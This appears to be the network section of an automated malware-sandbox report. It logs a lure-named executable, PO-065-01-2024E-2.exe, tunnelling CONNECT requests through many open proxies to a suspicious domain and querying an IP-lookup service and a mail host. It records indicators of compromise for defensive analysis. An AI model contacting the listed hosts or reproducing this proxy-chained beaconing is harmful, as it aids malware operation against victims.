Mar 11, 2024 16:39:45.778366089 CET	50708	18080	192.168.2.10	152.32.130.117
Mar 11, 2024 16:39:45.778799057 CET	9999	50455	113.195.224.222	192.168.2.10
Mar 11, 2024 16:39:45.778814077 CET	28971	49775	67.43.228.254	192.168.2.10
Mar 11, 2024 16:39:45.778825998 CET	80	51440	104.16.105.207	192.168.2.10
Mar 11, 2024 16:39:45.778934002 CET	51440	80	192.168.2.10	104.16.105.207
Mar 11, 2024 16:39:45.781821012 CET	80	51371	185.217.143.23	192.168.2.10
Mar 11, 2024 16:39:45.781960964 CET	51371	80	192.168.2.10	185.217.143.23
Mar 11, 2024 16:39:45.784111023 CET	80	49727	50.217.226.43	192.168.2.10
Mar 11, 2024 16:39:45.784379959 CET	27391	50466	72.195.34.60	192.168.2.10
Mar 11, 2024 16:39:45.784451008 CET	27391	50466	72.195.34.60	192.168.2.10
Mar 11, 2024 16:39:45.784665108 CET	5678	49879	176.119.227.65	192.168.2.10
Mar 11, 2024 16:39:45.784738064 CET	3128	50958	185.174.137.30	192.168.2.10
Mar 11, 2024 16:39:45.785706997 CET	50388	80	192.168.2.10	50.218.57.68
Mar 11, 2024 16:39:45.785706997 CET	50318	3128	192.168.2.10	46.101.102.134
Mar 11, 2024 16:39:45.785711050 CET	50535	24397	192.168.2.10	72.10.160.90
Mar 11, 2024 16:39:45.785712957 CET	51196	3128	192.168.2.10	66.29.154.103
Mar 11, 2024 16:39:45.785793066 CET	51179	13341	192.168.2.10	72.10.164.178
Mar 11, 2024 16:39:45.785794020 CET	51173	80	192.168.2.10	68.185.57.66
Mar 11, 2024 16:39:45.785793066 CET	50601	60651	192.168.2.10	162.241.6.97
Mar 11, 2024 16:39:45.785819054 CET	50559	5529	192.168.2.10	72.10.164.178
Mar 11, 2024 16:39:45.785819054 CET	49918	80	192.168.2.10	50.175.212.74
Mar 11, 2024 16:39:45.785921097 CET	8080	50367	5.78.89.192	192.168.2.10
Mar 11, 2024 16:39:45.790046930 CET	4145	50857	82.137.244.59	192.168.2.10
Mar 11, 2024 16:39:45.790805101 CET	51718	51415	51.222.241.157	192.168.2.10
Mar 11, 2024 16:39:45.792253971 CET	50605	49780	51.81.89.146	192.168.2.10
Mar 11, 2024 16:39:45.795269966 CET	4145	50989	199.102.104.70	192.168.2.10
Mar 11, 2024 16:39:45.795296907 CET	4145	50989	199.102.104.70	192.168.2.10
Mar 11, 2024 16:39:45.795856953 CET	41442	51357	162.241.46.6	192.168.2.10
Mar 11, 2024 16:39:45.797171116 CET	46249	51399	167.172.109.12	192.168.2.10
Mar 11, 2024 16:39:45.799925089 CET	80	51305	172.67.181.147	192.168.2.10
Mar 11, 2024 16:39:45.799941063 CET	8080	50712	188.132.222.38	192.168.2.10
Mar 11, 2024 16:39:45.799973965 CET	5432	51249	31.204.28.96	192.168.2.10
Mar 11, 2024 16:39:45.800093889 CET	50712	8080	192.168.2.10	188.132.222.38
Mar 11, 2024 16:39:45.800789118 CET	9002	50705	221.6.139.190	192.168.2.10
Mar 11, 2024 16:39:45.800882101 CET	9002	50705	221.6.139.190	192.168.2.10
Mar 11, 2024 16:39:45.800884962 CET	50705	9002	192.168.2.10	221.6.139.190
Mar 11, 2024 16:39:45.800982952 CET	50705	9002	192.168.2.10	221.6.139.190
Mar 11, 2024 16:39:45.801162958 CET	4145	51451	98.181.137.83	192.168.2.10
Mar 11, 2024 16:39:45.801316023 CET	51067	4145	192.168.2.10	92.207.253.226
Mar 11, 2024 16:39:45.801316023 CET	51069	30747	192.168.2.10	92.204.134.38
Mar 11, 2024 16:39:45.801362991 CET	5678	51070	190.113.90.230	192.168.2.10
Mar 11, 2024 16:39:45.801383972 CET	51451	4145	192.168.2.10	98.181.137.83
Mar 11, 2024 16:39:45.803168058 CET	80	51310	104.17.132.79	192.168.2.10
Mar 11, 2024 16:39:45.803687096 CET	1080	50696	103.140.205.133	192.168.2.10
Mar 11, 2024 16:39:45.803906918 CET	22500	50868	51.79.87.144	192.168.2.10
Mar 11, 2024 16:39:45.804169893 CET	50868	22500	192.168.2.10	51.79.87.144
Mar 11, 2024 16:39:45.804446936 CET	80	51400	104.18.136.28	192.168.2.10
Mar 11, 2024 16:39:45.804640055 CET	80	51400	104.18.136.28	192.168.2.10
Mar 11, 2024 16:39:45.805010080 CET	80	51400	104.18.136.28	192.168.2.10
Mar 11, 2024 16:39:45.805022001 CET	47935	51420	104.36.166.34	192.168.2.10
Mar 11, 2024 16:39:45.805093050 CET	51400	80	192.168.2.10	104.18.136.28
Mar 11, 2024 16:39:45.805095911 CET	51420	47935	192.168.2.10	104.36.166.34
Mar 11, 2024 16:39:45.806159019 CET	28513	50790	213.136.78.200	192.168.2.10
Mar 11, 2024 16:39:45.806289911 CET	50790	28513	192.168.2.10	213.136.78.200
Mar 11, 2024 16:39:45.806356907 CET	8080	50917	47.88.3.19	192.168.2.10
Mar 11, 2024 16:39:45.806461096 CET	50917	8080	192.168.2.10	47.88.3.19
Mar 11, 2024 16:39:45.806525946 CET	3128	51089	13.37.59.99	192.168.2.10
Mar 11, 2024 16:39:45.807693005 CET	31033	49784	67.43.228.253	192.168.2.10
Mar 11, 2024 16:39:45.808255911 CET	9002	51316	58.20.248.139	192.168.2.10
Mar 11, 2024 16:39:45.808448076 CET	51316	9002	192.168.2.10	58.20.248.139
Mar 11, 2024 16:39:45.808455944 CET	80	50335	54.152.3.36	192.168.2.10
Mar 11, 2024 16:39:45.808624983 CET	50335	80	192.168.2.10	54.152.3.36
Mar 11, 2024 16:39:45.810481071 CET	8800	51010	43.133.136.208	192.168.2.10
Mar 11, 2024 16:39:45.810523033 CET	8800	51010	43.133.136.208	192.168.2.10
Mar 11, 2024 16:39:45.811245918 CET	80	51092	50.200.12.82	192.168.2.10
Mar 11, 2024 16:39:45.811821938 CET	8800	51372	43.133.136.208	192.168.2.10
Mar 11, 2024 16:39:45.812839031 CET	51372	8800	192.168.2.10	43.133.136.208
Mar 11, 2024 16:39:45.812891006 CET	4145	50875	101.109.251.42	192.168.2.10
Mar 11, 2024 16:39:45.812903881 CET	60200	50374	162.241.137.197	192.168.2.10
Mar 11, 2024 16:39:45.813442945 CET	80	51318	104.16.106.234	192.168.2.10
Mar 11, 2024 16:39:45.813457012 CET	8193	51091	211.222.252.187	192.168.2.10
Mar 11, 2024 16:39:45.814172983 CET	80	51257	47.242.234.237	192.168.2.10
Mar 11, 2024 16:39:45.814333916 CET	80	51257	47.242.234.237	192.168.2.10
Mar 11, 2024 16:39:45.814495087 CET	51257	80	192.168.2.10	47.242.234.237
Mar 11, 2024 16:39:45.815224886 CET	8193	51091	211.222.252.187	192.168.2.10
Mar 11, 2024 16:39:45.815797091 CET	3128	51342	3.21.101.158	192.168.2.10
Mar 11, 2024 16:39:45.816957951 CET	49882	8000	192.168.2.10	178.128.156.219
Mar 11, 2024 16:39:45.816963911 CET	50906	5020	192.168.2.10	202.164.209.69
Mar 11, 2024 16:39:45.816978931 CET	50009	55137	192.168.2.10	192.169.197.146
Mar 11, 2024 16:39:45.816978931 CET	50490	999	192.168.2.10	190.71.24.129
Mar 11, 2024 16:39:45.816979885 CET	50178	3129	192.168.2.10	20.204.214.79
Mar 11, 2024 16:39:45.816982031 CET	50285	8000	192.168.2.10	167.172.79.17
Mar 11, 2024 16:39:45.816979885 CET	50427	8888	192.168.2.10	188.166.30.17
Mar 11, 2024 16:39:45.816997051 CET	50340	64654	192.168.2.10	162.19.7.53
Mar 11, 2024 16:39:45.817008018 CET	49760	5678	192.168.2.10	178.212.51.79
Mar 11, 2024 16:39:45.817008018 CET	50102	4153	192.168.2.10	203.76.117.74
Mar 11, 2024 16:39:45.817013025 CET	51131	8080	192.168.2.10	180.191.16.5
Mar 11, 2024 16:39:45.817152023 CET	51167	8080	192.168.2.10	153.139.233.218
Mar 11, 2024 16:39:45.817922115 CET	12334	51424	194.4.50.61	192.168.2.10
Mar 11, 2024 16:39:45.817934990 CET	12334	51226	194.4.50.61	192.168.2.10
Mar 11, 2024 16:39:45.818012953 CET	51424	12334	192.168.2.10	194.4.50.61
Mar 11, 2024 16:39:45.819163084 CET	80	51467	172.67.182.165	192.168.2.10
Mar 11, 2024 16:39:45.819232941 CET	51467	80	192.168.2.10	172.67.182.165
Mar 11, 2024 16:39:45.819820881 CET	8193	51410	211.222.252.187	192.168.2.10
Mar 11, 2024 16:39:45.820010900 CET	51410	8193	192.168.2.10	211.222.252.187
Mar 11, 2024 16:39:45.821178913 CET	8888	50154	36.134.91.82	192.168.2.10
Mar 11, 2024 16:39:45.821979046 CET	10080	50053	81.19.3.249	192.168.2.10
Mar 11, 2024 16:39:45.823406935 CET	32221	49787	67.43.228.254	192.168.2.10
Mar 11, 2024 16:39:45.823416948 CET	80	51072	39.105.5.126	192.168.2.10
Mar 11, 2024 16:39:45.823503017 CET	80	51072	39.105.5.126	192.168.2.10
Mar 11, 2024 16:39:45.823734999 CET	51371	80	192.168.2.10	185.217.143.23
Mar 11, 2024 16:39:45.823744059 CET	51440	80	192.168.2.10	104.16.105.207
Mar 11, 2024 16:39:45.823824883 CET	50868	22500	192.168.2.10	51.79.87.144
Mar 11, 2024 16:39:45.823852062 CET	50712	8080	192.168.2.10	188.132.222.38
Mar 11, 2024 16:39:45.823920965 CET	50705	9002	192.168.2.10	221.6.139.190
Mar 11, 2024 16:39:45.823983908 CET	51400	80	192.168.2.10	104.18.136.28
Mar 11, 2024 16:39:45.824223042 CET	51420	47935	192.168.2.10	104.36.166.34
Mar 11, 2024 16:39:45.824354887 CET	50917	8080	192.168.2.10	47.88.3.19
Mar 11, 2024 16:39:45.824534893 CET	51316	9002	192.168.2.10	58.20.248.139
Mar 11, 2024 16:39:45.824536085 CET	51372	8800	192.168.2.10	43.133.136.208
Mar 11, 2024 16:39:45.824594021 CET	51257	80	192.168.2.10	47.242.234.237
Mar 11, 2024 16:39:45.824707985 CET	3128	50687	52.67.10.183	192.168.2.10
Mar 11, 2024 16:39:45.824831009 CET	51424	12334	192.168.2.10	194.4.50.61
Mar 11, 2024 16:39:45.824944019 CET	51467	80	192.168.2.10	172.67.182.165
Mar 11, 2024 16:39:45.824945927 CET	51410	8193	192.168.2.10	211.222.252.187
Mar 11, 2024 16:39:45.825112104 CET	51540	80	192.168.2.10	47.242.234.237
Mar 11, 2024 16:39:45.825341940 CET	3128	49875	160.16.90.35	192.168.2.10
Mar 11, 2024 16:39:45.825591087 CET	50708	18080	192.168.2.10	152.32.130.117
Mar 11, 2024 16:39:45.825767040 CET	8080	51157	103.83.80.67	192.168.2.10
Mar 11, 2024 16:39:45.826001883 CET	51541	9002	192.168.2.10	120.234.203.171
Mar 11, 2024 16:39:45.826041937 CET	58386	49845	5.44.42.115	192.168.2.10
Mar 11, 2024 16:39:45.826072931 CET	45248	49895	166.62.121.127	192.168.2.10
Mar 11, 2024 16:39:45.826206923 CET	51542	999	192.168.2.10	143.202.97.171
Mar 11, 2024 16:39:45.827022076 CET	80	51333	172.67.36.21	192.168.2.10
Mar 11, 2024 16:39:45.827811956 CET	80	51395	39.105.5.126	192.168.2.10
Mar 11, 2024 16:39:45.827949047 CET	51395	80	192.168.2.10	39.105.5.126
Mar 11, 2024 16:39:45.828120947 CET	8080	49976	92.118.132.125	192.168.2.10
Mar 11, 2024 16:39:45.828237057 CET	51089	3128	192.168.2.10	13.37.59.99
Mar 11, 2024 16:39:45.828409910 CET	51395	80	192.168.2.10	39.105.5.126
Mar 11, 2024 16:39:45.828552961 CET	50687	3128	192.168.2.10	52.67.10.183
Mar 11, 2024 16:39:45.829570055 CET	49875	3128	192.168.2.10	160.16.90.35
Mar 11, 2024 16:39:45.830629110 CET	9091	49994	120.37.121.209	192.168.2.10
Mar 11, 2024 16:39:45.830985069 CET	80	51398	186.124.164.213	192.168.2.10
Mar 11, 2024 16:39:45.831063986 CET	51398	80	192.168.2.10	186.124.164.213
Mar 11, 2024 16:39:45.831212044 CET	51398	80	192.168.2.10	186.124.164.213
Mar 11, 2024 16:39:45.832173109 CET	51543	27391	192.168.2.10	72.195.34.60
Mar 11, 2024 16:39:45.832174063 CET	51544	4145	192.168.2.10	199.102.104.70
Mar 11, 2024 16:39:45.832175016 CET	8080	51391	91.202.230.219	192.168.2.10
Mar 11, 2024 16:39:45.832356930 CET	51391	8080	192.168.2.10	91.202.230.219
Mar 11, 2024 16:39:45.832405090 CET	51391	8080	192.168.2.10	91.202.230.219
Mar 11, 2024 16:39:45.832568884 CET	51174	80	192.168.2.10	50.172.39.98
Mar 11, 2024 16:39:45.832571030 CET	50672	14282	192.168.2.10	192.252.208.70
Mar 11, 2024 16:39:45.832573891 CET	51073	27207	192.168.2.10	91.134.140.160
Mar 11, 2024 16:39:45.832586050 CET	51224	4145	192.168.2.10	68.71.247.130
Mar 11, 2024 16:39:45.832590103 CET	49759	8123	192.168.2.10	20.24.43.214
Mar 11, 2024 16:39:45.832600117 CET	50380	39452	192.168.2.10	167.172.109.12
Mar 11, 2024 16:39:45.832600117 CET	50398	41491	192.168.2.10	167.172.109.12
Mar 11, 2024 16:39:45.832602978 CET	51076	4145	192.168.2.10	184.181.217.206
Mar 11, 2024 16:39:45.832623959 CET	51077	999	192.168.2.10	38.56.70.97
Mar 11, 2024 16:39:45.832680941 CET	49890	80	192.168.2.10	50.168.72.112
Mar 11, 2024 16:39:45.834393978 CET	51545	31745	192.168.2.10	160.153.245.187
Mar 11, 2024 16:39:45.835249901 CET	15673	51366	198.23.229.203	192.168.2.10
Mar 11, 2024 16:39:45.835563898 CET	15673	51366	198.23.229.203	192.168.2.10
Mar 11, 2024 16:39:45.838031054 CET	4145	51119	162.253.68.97	192.168.2.10
Mar 11, 2024 16:39:45.838403940 CET	3128	49872	34.85.177.170	192.168.2.10
Mar 11, 2024 16:39:45.838460922 CET	49872	3128	192.168.2.10	34.85.177.170
Mar 11, 2024 16:39:45.839322090 CET	4153	51407	212.31.100.138	192.168.2.10
Mar 11, 2024 16:39:45.839416027 CET	51407	4153	192.168.2.10	212.31.100.138
Mar 11, 2024 16:39:45.839638948 CET	51407	4153	192.168.2.10	212.31.100.138
Mar 11, 2024 16:39:45.840045929 CET	8080	51233	194.247.173.17	192.168.2.10
Mar 11, 2024 16:39:45.840174913 CET	80	51250	37.235.48.19	192.168.2.10
Mar 11, 2024 16:39:45.841869116 CET	8080	51379	103.118.44.136	192.168.2.10
Mar 11, 2024 16:39:45.841969013 CET	51379	8080	192.168.2.10	103.118.44.136
Mar 11, 2024 16:39:45.842266083 CET	4145	51421	68.1.210.163	192.168.2.10
Mar 11, 2024 16:39:45.842293978 CET	51379	8080	192.168.2.10	103.118.44.136
Mar 11, 2024 16:39:45.842348099 CET	51421	4145	192.168.2.10	68.1.210.163
Mar 11, 2024 16:39:45.842564106 CET	51421	4145	192.168.2.10	68.1.210.163
Mar 11, 2024 16:39:45.843518019 CET	4145	51422	24.249.199.4	192.168.2.10
Mar 11, 2024 16:39:45.843604088 CET	51422	4145	192.168.2.10	24.249.199.4
Mar 11, 2024 16:39:45.843811989 CET	51422	4145	192.168.2.10	24.249.199.4
Mar 11, 2024 16:39:45.844446898 CET	8080	51233	194.247.173.17	192.168.2.10
Mar 11, 2024 16:39:45.844481945 CET	8080	51233	194.247.173.17	192.168.2.10
Mar 11, 2024 16:39:45.844679117 CET	51233	8080	192.168.2.10	194.247.173.17
Mar 11, 2024 16:39:45.844719887 CET	51233	8080	192.168.2.10	194.247.173.17
Mar 11, 2024 16:39:45.845218897 CET	51546	38832	192.168.2.10	128.199.196.31
Mar 11, 2024 16:39:45.845706940 CET	80	50839	52.67.10.183	192.168.2.10
Mar 11, 2024 16:39:45.846359968 CET	50265	3128	192.168.2.10	13.40.239.130
Mar 11, 2024 16:39:45.848181963 CET	51220	14455	192.168.2.10	192.252.209.155

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 11, 2024 16:39:40.774059057 CET	192.168.2.10	1.1.1.1	0xfd64	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false
Mar 11, 2024 16:39:44.536263943 CET	192.168.2.10	1.1.1.1	0xe235	Standard query (0)	ktxcomay.com.vn	A (IP address)	IN (0x0001)	false
Mar 11, 2024 16:39:51.082297087 CET	192.168.2.10	1.1.1.1	0x225	Standard query (0)	heygirlisheeverythingyouwantedinaman.com	A (IP address)	IN (0x0001)	false
Mar 11, 2024 16:39:52.934613943 CET	192.168.2.10	1.1.1.1	0xd164	Standard query (0)	www.avis.com.hn	A (IP address)	IN (0x0001)	false
Mar 11, 2024 16:39:58.198647976 CET	192.168.2.10	1.1.1.1	0xbc2b	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Mar 11, 2024 16:39:59.821301937 CET	192.168.2.10	1.1.1.1	0x50b2	Standard query (0)	mail.supplyvan.xyz	A (IP address)	IN (0x0001)	false
Mar 11, 2024 16:40:14.363668919 CET	192.168.2.10	1.1.1.1	0x85d5	Standard query (0)	mail.supplyvan.xyz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 11, 2024 16:39:40.930644035 CET	1.1.1.1	192.168.2.10	0xfd64	No error (0)	github.com		140.82.114.3	A (IP address)	IN (0x0001)	false
Mar 11, 2024 16:39:45.269831896 CET	1.1.1.1	192.168.2.10	0xe235	No error (0)	ktxcomay.com.vn		222.255.238.159	A (IP address)	IN (0x0001)	false
Mar 11, 2024 16:39:51.264477015 CET	1.1.1.1	192.168.2.10	0x225	No error (0)	heygirlisheeverythingyouwantedinaman.com		172.67.190.93	A (IP address)	IN (0x0001)	false
Mar 11, 2024 16:39:51.264477015 CET	1.1.1.1	192.168.2.10	0x225	No error (0)	heygirlisheeverythingyouwantedinaman.com		104.21.57.121	A (IP address)	IN (0x0001)	false
Mar 11, 2024 16:39:53.195686102 CET	1.1.1.1	192.168.2.10	0xd164	No error (0)	www.avis.com.hn		104.21.84.251	A (IP address)	IN (0x0001)	false
Mar 11, 2024 16:39:53.195686102 CET	1.1.1.1	192.168.2.10	0xd164	No error (0)	www.avis.com.hn		172.67.199.231	A (IP address)	IN (0x0001)	false
Mar 11, 2024 16:39:58.353255033 CET	1.1.1.1	192.168.2.10	0xbc2b	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Mar 11, 2024 16:39:59.985439062 CET	1.1.1.1	192.168.2.10	0x50b2	Name error (3)	mail.supplyvan.xyz	none	none	A (IP address)	IN (0x0001)	false
Mar 11, 2024 16:40:14.528863907 CET	1.1.1.1	192.168.2.10	0x85d5	Name error (3)	mail.supplyvan.xyz	none	none	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49721	172.67.254.127	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.229913950 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:43.384248018 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:43 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49756	4.182.9.108	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.292488098 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.10	49764	4.182.9.108	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.315167904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.10	49737	104.16.226.6	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.385883093 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:43.540333033 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:43 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.10	49744	104.21.6.88	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.404978037 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:43.558968067 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:43 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.10	49726	79.110.196.145	8081	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.416309118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.10	49738	142.54.237.34	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.440320015 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.10	49718	41.74.91.244	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.442543983 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.191976070 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.285712957 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.489751101 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.973620892 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.489222050 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.973522902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:09.676434994 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
